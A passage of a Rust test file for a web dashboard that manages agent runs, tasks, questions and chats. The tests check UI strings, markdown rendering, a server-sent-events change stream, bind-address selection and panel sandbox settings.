13091 assert!(!INDEX_HTML.contains("runs-tree"));
13092 assert!(!INDEX_HTML.contains("run-raw-panel"));
13093 assert!(APP_JS.contains("resume"));
13095 assert!(APP_JS.contains("unreadable"));
13097 }
13098
13099 #[test]
13100 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
13101 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
13102 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
13103 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
13104 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
13105 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
13106 assert!(APP_JS.contains("unreadable` : null"));
13108 }
13109
13110 #[test]
13111 fn the_run_detail_payload_says_whether_the_run_is_done() {
13112 for (status, done) in [
13114 (RunStatus::Superseded, true),
13115 (RunStatus::Blocked, true),
13116 (RunStatus::Landing, false),
13117 ] {
13118 let mut state = RunState::new(
13119 std::path::PathBuf::from("/repo"),
13120 "main".to_owned(),
13121 "abc".to_owned(),
13122 "x".to_owned(),
13123 crate::config::Config::default(),
13124 );
13125 state.status = status;
13126 let v = serde_json::to_value(RunDetailView::of(
13127 state,
13128 crate::run::Liveness::Unknown,
13129 None,
13130 None,
13131 None,
13132 ))
13133 .unwrap();
13134 assert_eq!(v["done"], done, "{status:?}");
13135 }
13136 }
13137
13138 fn has_strong(nodes: &[md::Node]) -> bool {
13140 serde_json::to_string(nodes).unwrap().contains("strong")
13141 }
13142
13143 #[test]
13144 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
13145 let mut state = RunState::new(
13146 std::path::PathBuf::from("/repo"),
13147 "main".to_owned(),
13148 "abc".to_owned(),
13149 "x".to_owned(),
13150 crate::config::Config::default(),
13151 );
13152 let proposal = |approach: &str| {
13153 serde_json::json!({
13154 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
13155 })
13156 };
13157 state.advice = Some(
13158 serde_json::from_value(serde_json::json!({
13159 "records": [
13160 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
13161 "proposal": proposal("do **this**")},
13162 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
13163 ],
13164 "synthesis": "- one\n- **two**\n\n`code`",
13165 }))
13166 .unwrap(),
13167 );
13168 state.candidates = serde_json::from_value(serde_json::json!([
13169 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
13170 "summary": "did **it**"},
13171 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
13172 ]))
13173 .unwrap();
13174 state.reviews = serde_json::from_value(serde_json::json!([{
13177 "round": 1, "head": "h",
13178 "reviews": [{
13179 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
13180 "findings": [
13181 {"severity": "nit", "title": "t1", "detail": "plain nit"},
13182 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
13183 ],
13184 }],
13185 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
13186 "fix": {"agent": "a", "notes": "fixed **it**",
13187 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
13188 }, {"round": 2, "head": "h2", "reviews": []}]))
13189 .unwrap();
13190
13191 let v = serde_json::to_value(RunDetailView::of(
13192 state,
13193 crate::run::Liveness::Unknown,
13194 None,
13195 None,
13196 None,
13197 ))
13198 .unwrap();
13199
13200 let strong = |p: &str| {
13201 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
13202 assert!(n.to_string().contains("strong"), "{p}: {n}");
13203 };
13204 strong("/advice_md/synthesis");
13205 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
13206 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
13207 strong("/advice_md/approaches/0");
13208 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
13209 strong("/candidate_summaries_md/0");
13210 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
13211 strong("/reviews_md/0/reviewers/0/summary");
13212 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
13213 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
13214 assert!(f[1].to_string().contains("strong"));
13215 strong("/reviews_md/0/reconsideration/0");
13216 strong("/reviews_md/0/fix/notes");
13217 strong("/reviews_md/0/fix/rejected/0");
13218 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
13219 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
13220 assert_eq!(v["candidates"][0]["summary"], "did **it**");
13222 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
13223 }
13224
13225 #[test]
13226 fn a_run_without_advice_has_no_advice_md() {
13227 let state = RunState::new(
13228 std::path::PathBuf::from("/repo"),
13229 "main".to_owned(),
13230 "abc".to_owned(),
13231 "x".to_owned(),
13232 crate::config::Config::default(),
13233 );
13234 let p = run_prose_md(&state);
13235 assert!(p.advice_md.is_none());
13236 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
13237 }
13238
13239 #[test]
13240 fn a_question_view_carries_markdown_for_each_thread_turn() {
13241 let home = TempDir::new().unwrap();
13242 let store = ask::Questions::at(home.path().join("questions"));
13243 let mut q = Question::new(
13244 "run".to_owned(),
13245 "implement".to_owned(),
13246 "impl-A".to_owned(),
13247 "which?".to_owned(),
13248 String::new(),
13249 Vec::new(),
13250 );
13251 q.say("plain words").unwrap();
13252 q.reply("use **this**", Vec::new()).unwrap();
13253 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13254 let bodies = &v["thread_bodies_md"];
13255 assert_eq!(bodies.as_array().unwrap().len(), 2);
13256 assert!(!bodies[0].to_string().contains("strong"));
13257 assert!(bodies[1].to_string().contains("strong"));
13258 }
13259
13260 #[test]
13261 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
13262 let home = TempDir::new().unwrap();
13263 let store = ask::Questions::at(home.path().join("questions"));
13264 let mut q = Question::new(
13265 "run".to_owned(),
13266 "conduct".to_owned(),
13267 "conduct".to_owned(),
13268 "which?".to_owned(),
13269 String::new(),
13270 Vec::new(),
13271 );
13272 q.say("plain words").unwrap();
13273 q.thread.push(ask::Turn {
13274 who: ask::Who::Agent,
13275 body: "Settled as `merge`".to_owned(),
13276 at: jiff::Timestamp::now(),
13277 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
13278 });
13279 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13280 let notes = &v["thread_notes_md"];
13281 assert_eq!(notes.as_array().unwrap().len(), 2);
13282 assert!(notes[0].is_null());
13283 let text = notes[1].to_string();
13284 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
13285 assert!(APP_JS.contains("ask-turn-note"));
13286 }
13287
13288 #[test]
13289 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
13290 assert!(APP_JS.contains("function landView(run, raw) {"));
13294 assert!(
13295 APP_JS.contains(
13296 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
13297 )
13298 );
13299 assert!(APP_JS.contains("const pr = landView(run, raw);"));
13300 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
13301 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
13302 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
13303 }
13304
13305 #[test]
13306 fn live_runs_are_never_hidden_or_folded_as_superseded() {
13307 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
13308 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
13309 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
13310 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
13311 }
13312
13313 #[test]
13314 fn review_rounds_label_a_distinct_verified_head() {
13315 assert!(APP_JS.contains("round.verified_head"));
13316 assert!(APP_JS.contains("verified HEAD"));
13317 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
13318 }
13319
13320 #[test]
13321 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
13322 assert!(APP_JS.contains("blocked: { glyph:"));
13326 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
13327
13328 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
13332 assert!(
13333 APP_JS.contains(
13334 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
13335 ),
13336 "the note line must name what a blocked task is waiting on, not just that it is blocked"
13337 );
13338 assert!(APP_JS.contains("if (status === \"blocked\") {"));
13342
13343 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
13347 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
13348 assert!(
13349 APP_JS.contains("location.hash = \"#/questions\";"),
13350 "a question node must jump to the Questions screen, not pretend to be a task"
13351 );
13352
13353 assert!(APP_JS.contains("Resolved questions"));
13356 assert!(APP_JS.contains("r.answersList.append("));
13357 assert!(APP_CSS.contains(".task-answers"));
13358 {
13359 let start = APP_JS
13360 .find("function updateTalkTaskRow")
13361 .expect("updateTalkTaskRow");
13362 let body = &APP_JS[start..];
13363 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
13364 assert!(
13365 body.contains(
13366 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
13367 ),
13368 "a chat-filed task row must link to the task page"
13369 );
13370 assert!(
13371 !body.contains("#/runs/") && !body.contains("#/queue/"),
13372 "the row must not branch to a run or the queue card"
13373 );
13374 assert!(APP_CSS.contains(".talk-task-link"));
13375 }
13376 }
13377
13378 #[test]
13379 fn a_task_notification_links_to_the_task_page() {
13380 let start = APP_JS
13382 .find("function noticeLink(")
13383 .expect("noticeLink exists");
13384 let body = &APP_JS[start..];
13385 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
13386 assert!(
13387 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
13388 "a task notice's link must target the task page"
13389 );
13390 assert!(
13391 !body.contains("#/queue/"),
13392 "regression: the task link must not go back to the Backlog route"
13393 );
13394 assert!(
13395 APP_JS.contains(
13396 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
13397 ),
13398 "`#/tasks/<id>` must parse into the task route"
13399 );
13400
13401 assert!(
13403 APP_JS.contains(
13404 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
13405 ),
13406 "`#/queue/<id>` must parse into a route carrying that id"
13407 );
13408
13409 assert!(APP_JS.contains("state.queueFocus = route.id;"));
13413 assert!(APP_JS.contains("function consumeQueueFocus()"));
13414 assert!(APP_JS.contains("jumpToTask(id)"));
13415 }
13416
13417 #[test]
13420 fn chat_rows_put_the_title_alone_on_the_first_line() {
13421 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
13422 assert!(APP_CSS.contains(
13423 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
13424 ));
13425 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
13426 assert!(APP_JS.contains("class: \"badge talk-unread\""));
13427 }
13428
13429 #[test]
13430 fn run_rows_put_the_title_alone_on_the_first_line() {
13431 assert!(
13432 APP_CSS.contains(
13433 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
13434 )
13435 );
13436 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
13437 assert!(APP_JS.contains("class: \"card run-card\""));
13438 assert!(APP_JS.contains("class: \"repo run-id\""));
13439 }
13440
13441 #[test]
13445 fn wide_screens_show_list_and_preview_side_by_side() {
13446 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
13448 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
13449 assert!(APP_CSS.contains("main[data-split]"));
13450 assert!(APP_CSS.contains("body[data-split]"));
13451
13452 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
13454 assert!(
13455 APP_JS.contains(
13456 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
13457 )
13458 );
13459 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
13460 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
13461 assert!(INDEX_HTML.contains("id=\"split-empty\""));
13462
13463 assert!(APP_JS.contains("function markSelected() {"));
13465 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13466 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13467 assert!(
13469 APP_CSS.contains(
13470 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13471 )
13472 );
13473
13474 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13476 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
13477 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13478 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13479
13480 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13484 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13485 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13486 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13487
13488 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
13490 }
13491
13492 #[test]
13493 fn panel_sandbox_carries_exactly_popups() {
13494 let needle = "sandbox: \"";
13495 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
13496 assert_eq!(
13497 matches.len(),
13498 1,
13499 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
13500 );
13501 let start = matches[0].0 + needle.len();
13502 let end = APP_JS[start..]
13503 .find('"')
13504 .expect("sandbox attribute value must be terminated by a closing quote");
13505 let val = &APP_JS[start..start + end];
13506 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
13507 let expected: std::collections::BTreeSet<&str> =
13508 ["allow-popups", "allow-popups-to-escape-sandbox"]
13509 .into_iter()
13510 .collect();
13511 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
13512 assert!(
13513 !tokens.contains("allow-scripts"),
13514 "allow-scripts must never be present in sandbox"
13515 );
13516 assert!(
13517 !tokens.contains("allow-same-origin"),
13518 "allow-same-origin must never be present in sandbox"
13519 );
13520 }
13521
13522 #[test]
13523 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13524 assert!(
13533 APP_JS.contains(
13534 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
13535 ),
13536 "the search-clearing branch must run before state.queueFocus is cleared, or the \
13537 recursive renderQueue() call has nothing left to jump to"
13538 );
13539 assert!(
13540 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13541 "state.queueFocus must be cleared only once the jump has landed, so a card that \
13542 arrives later still gets it"
13543 );
13544 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13545 assert!(APP_JS.contains("is not in the current Backlog."));
13546 assert!(APP_JS.contains("li.card[data-task-id=\""));
13547 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13548 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13549 assert!(APP_CSS.contains(".card-permalink"));
13550 assert!(APP_CSS.contains(".queue-focus-status"));
13551 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
13552 }
13553
13554 #[test]
13555 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13556 assert!(
13564 APP_JS.contains(
13565 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13566 ),
13567 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13568 );
13569 }
13570
13571 #[test]
13572 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13573 assert!(
13574 APP_JS.contains("round.verified_head !== round.head"),
13575 "a round that verified an earlier commit must be visibly distinct from one that \
13576 verified the head reviewers are looking at now"
13577 );
13578 assert!(
13579 APP_JS.contains("round.verified_at"),
13580 "when a check ran must be on the wire, not just which commit"
13581 );
13582 assert!(
13583 APP_JS.contains("resource_blocked"),
13584 "a command magi never got to run (shared build cache contention) must not render \
13585 the same as a command that ran and failed"
13586 );
13587 }
13588
13589 #[test]
13590 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13591 assert!(
13599 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13600 "every KPI tile built through statusTile() must route its click through \
13601 openRunsFiltered, the single place that sets the Runs filter"
13602 );
13603 for (label, status) in [
13604 ("Merged", "merged"),
13605 ("Ready", "ready"),
13606 ("Blocked", "blocked"),
13607 ("Stalled", "stalled"),
13608 ] {
13609 let call = format!("statusTile(\"{label}\", t.{status}, ");
13610 assert!(
13611 APP_JS.contains(&call),
13612 "expected the {label} KPI tile built via {call}..."
13613 );
13614 assert!(
13615 APP_JS.contains(&format!("status === \"{status}\"")),
13616 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
13617 compare a run against, not one invented only for the stats tile"
13618 );
13619 }
13620 assert!(
13621 APP_JS.contains("function openRunsFiltered(status)"),
13622 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
13623 );
13624 assert!(
13625 APP_JS.contains(
13626 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
13627 ),
13628 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
13629 );
13630 assert!(
13638 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
13639 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
13640 hashchange event that may never fire"
13641 );
13642 }
13643
13644 #[test]
13645 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
13646 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
13652 assert!(
13653 APP_JS.contains(
13654 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
13655 ),
13656 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
13657 guard for an incompatible tree section"
13658 );
13659 }
13660
13661 #[test]
13662 fn every_stats_queue_tile_names_a_real_queue_section() {
13663 assert!(
13669 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
13670 "every queue tile built through sectionTile() must route its click through \
13671 openQueueSectionFocus"
13672 );
13673 for key in ["upnext", "running", "done", "held", "blocked"] {
13674 assert!(
13675 APP_JS.contains(&format!("{{ key: \"{key}\",")),
13676 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
13677 );
13678 }
13679 for line in [
13683 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
13684 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
13685 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
13686 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
13687 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
13688 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
13689 ] {
13690 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
13691 }
13692 }
13693
13694 #[test]
13695 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
13696 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
13703 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
13704 assert!(APP_JS.contains("function revealQueueSection(details)"));
13705 assert!(
13706 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
13707 "renderQueue() must consume both focus channels on every pass"
13708 );
13709 assert!(
13710 APP_JS.contains(
13711 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
13712 ),
13713 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
13714 the recursive renderQueue() call has nothing left to reveal"
13715 );
13716 assert!(
13717 APP_JS.contains(
13718 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
13719 ),
13720 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
13721 );
13722 assert!(
13730 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
13731 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
13732 hashchange event that may never fire"
13733 );
13734 }
13735
13736 #[tokio::test]
13737 async fn the_change_stream_announces_the_current_revisions_on_connect() {
13738 let f = Fixture::start().await;
13739
13740 let mut socket = tokio::net::TcpStream::connect(f.addr)
13741 .await
13742 .expect("connect");
13743 socket
13744 .write_all(
13745 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
13746 )
13747 .await
13748 .expect("write request");
13749
13750 let mut seen = String::new();
13753 let mut buf = [0u8; 1024];
13754 while !seen.contains("event: change") {
13755 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
13756 .await
13757 .expect("the stream must speak within five seconds")
13758 .expect("read");
13759 assert!(read > 0, "the server closed the change stream: {seen}");
13760 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13761 }
13762
13763 assert!(
13764 seen.to_lowercase()
13765 .contains("content-type: text/event-stream"),
13766 "the browser only reconnects automatically for a real SSE stream: {seen}"
13767 );
13768 let data = seen
13769 .lines()
13770 .find_map(|l| l.strip_prefix("data:"))
13771 .expect("a data line");
13772 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13773 assert!(
13774 payload["queue_rev"].is_u64()
13775 && payload["runs_rev"].is_u64()
13776 && payload["questions_rev"].is_u64()
13777 && payload["talks_rev"].is_u64()
13778 && payload["notifications_rev"].is_u64()
13779 && payload["loop_rev"].is_u64(),
13780 "the client needs one revision per store to know what to refetch, \
13781 and `talks_rev` is the only notification a standing talk gets - a \
13782 phone whose radio slept through a turn learns about it here, as \
13783 does one whose operator started the loop from another device: \
13784 {payload}"
13785 );
13786
13787 let health = f.get("/api/health").await.json();
13794 for key in [
13795 "queue_rev",
13796 "runs_rev",
13797 "questions_rev",
13798 "talks_rev",
13799 "notifications_rev",
13800 "loop_rev",
13801 ] {
13802 assert!(
13803 health[key].is_u64(),
13804 "health is the change stream's fallback and is missing `{key}`: {health}"
13805 );
13806 }
13807 }
13808
13809 #[tokio::test]
13810 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13811 let f = Fixture::start().await;
13812 let before = f.get("/api/health").await.json()["talks_rev"]
13813 .as_u64()
13814 .expect("talks_rev");
13815
13816 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13817 std::thread::sleep(Duration::from_millis(10));
13818 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13819 on_disk.turns.push(crate::talk::Turn {
13820 breaks: Some(Vec::new()),
13821 posted_by: None,
13822 who: crate::talk::Who::Operator,
13823 body: "a new turn".to_owned(),
13824 at: Timestamp::now(),
13825 attachments: Vec::new(),
13826 usage: None,
13827 });
13828 f.talks().put(&mut on_disk).expect("record a turn");
13829
13830 let after = f.get("/api/health").await.json()["talks_rev"]
13831 .as_u64()
13832 .expect("talks_rev");
13833 assert_ne!(
13834 before, after,
13835 "a phone must be able to notice a talk's reply without polling every store"
13836 );
13837 }
13838
13839 #[test]
13840 fn bind_reads_back_from_the_spelling_the_cli_prints() {
13841 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13845 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13846 }
13847 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13848 assert!("everywhere".parse::<Bind>().is_err());
13849 }
13850
13851 #[test]
13852 fn an_explicit_bind_address_is_taken_verbatim() {
13853 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13854
13855 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13856
13857 assert_eq!(addr, asked);
13858 assert!(
13859 warning.is_none(),
13860 "an operator who named an address gets no lecture"
13861 );
13862 }
13863
13864 #[test]
13865 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13866 let (addr, warning) = resolve_bind(&Bind::Auto);
13867
13868 match addr {
13875 IpAddr::V4(ip) if is_tailnet(&ip) => {
13876 assert!(warning.is_none(), "a tailnet address needs no warning");
13877 }
13878 other => {
13879 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13880 let warning = warning.expect("a fallback has to explain itself");
13881 assert!(
13882 warning.contains("127.0.0.1") && warning.contains("local-only"),
13883 "the warning says what happened and what it costs: {warning}"
13884 );
13885 }
13886 }
13887 }
13888
13889 #[test]
13890 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13891 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13895 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13896 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13897 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13898 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13899 }
13900
13901 #[test]
13902 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13903 let ids = vec![
13904 "20260902-140501-aaaa".to_owned(),
13905 "20260902-140502-aabb".to_owned(),
13906 ];
13907
13908 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13909 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13910 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13911
13912 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13913 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13914 assert_eq!(short, "20260902-140502-aabb");
13915 }
13916 #[tokio::test]
13917 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13918 let fx = Fixture::start().await;
13924 let id = panel(
13925 &fx,
13926 "<img src=\"shot.png\">",
13927 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13928 );
13929
13930 let doc = fx
13932 .get(&format!("/api/questions/{id}/panel/index.html"))
13933 .await;
13934 assert_eq!(doc.status, 200, "{}", doc.body);
13935 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13936
13937 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13938 assert_eq!(sibling.status, 200, "{}", sibling.body);
13939 assert_eq!(sibling.header("content-type"), Some("image/png"));
13940 assert_eq!(
13941 sibling.header("content-security-policy"),
13942 Some(PANEL_CSP),
13943 "the sibling route must carry the same policy as the asset route"
13944 );
13945
13946 assert_eq!(
13949 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13950 200
13951 );
13952 }
13953
13954 #[test]
13955 fn delta_stamps_cover_add_update_remove_and_noop() {
13956 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13957 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13958 let delta = diff_stamps(&before, &after, 42);
13959 assert_eq!(delta.base, 42);
13960 assert_eq!(delta.changed, ["b", "c"]);
13961 assert_eq!(delta.removed, ["a"]);
13962 let same = diff_stamps(&after, &after, 43);
13963 assert!(same.changed.is_empty() && same.removed.is_empty());
13964 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13965 let nanos: Stamps = [("b".into(), (2, 20))].into();
13966 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13967 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13968 assert_eq!(stamps_revision(&Stamps::new()), 0);
13969 }
13970
13971 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13972 std::fs::create_dir_all(home.join("runs")).unwrap();
13973 Arc::new(Ui::new(
13974 Queue::at(home.join("queue")),
13975 Questions::at(home.join("questions")),
13976 Talks::at(home.join("talks")),
13977 home.join("runs"),
13978 home.to_owned(),
13979 PathBuf::from("/repo/magi"),
13980 ))
13981 }
13982
13983 #[tokio::test]
13984 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13985 let home = TempDir::new().unwrap();
13986 let ui = delta_test_ui(home.path());
13987 let mut task = Task::new(
13988 "stream task".into(),
13989 "text".into(),
13990 PathBuf::from("/repo"),
13991 Source::Human,
13992 );
13993 ui.queue.put(&mut task).unwrap();
13994 let response = events(State(ui.clone())).await.into_response();
13995 let mut stream = response.into_body().into_data_stream();
13996 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13997 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13998 .await
13999 .unwrap()
14000 .unwrap()
14001 .unwrap();
14002 let text = String::from_utf8(chunk.to_vec()).unwrap();
14003 let data = text
14004 .lines()
14005 .find_map(|line| {
14006 line.strip_prefix("data: ")
14007 .or_else(|| line.strip_prefix("data:"))
14008 })
14009 .unwrap();
14010 serde_json::from_str(data).unwrap()
14011 }
14012 let initial = change(&mut stream).await;
14013 assert!(initial.get("queue_delta").is_none());
14014 task.instruction.push_str(" changed");
14015 ui.queue.put(&mut task).unwrap();
14016 let updated = change(&mut stream).await;
14017 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
14018 assert_eq!(
14019 updated["queue_delta"]["changed"],
14020 serde_json::json!([task.id])
14021 );
14022 assert_eq!(
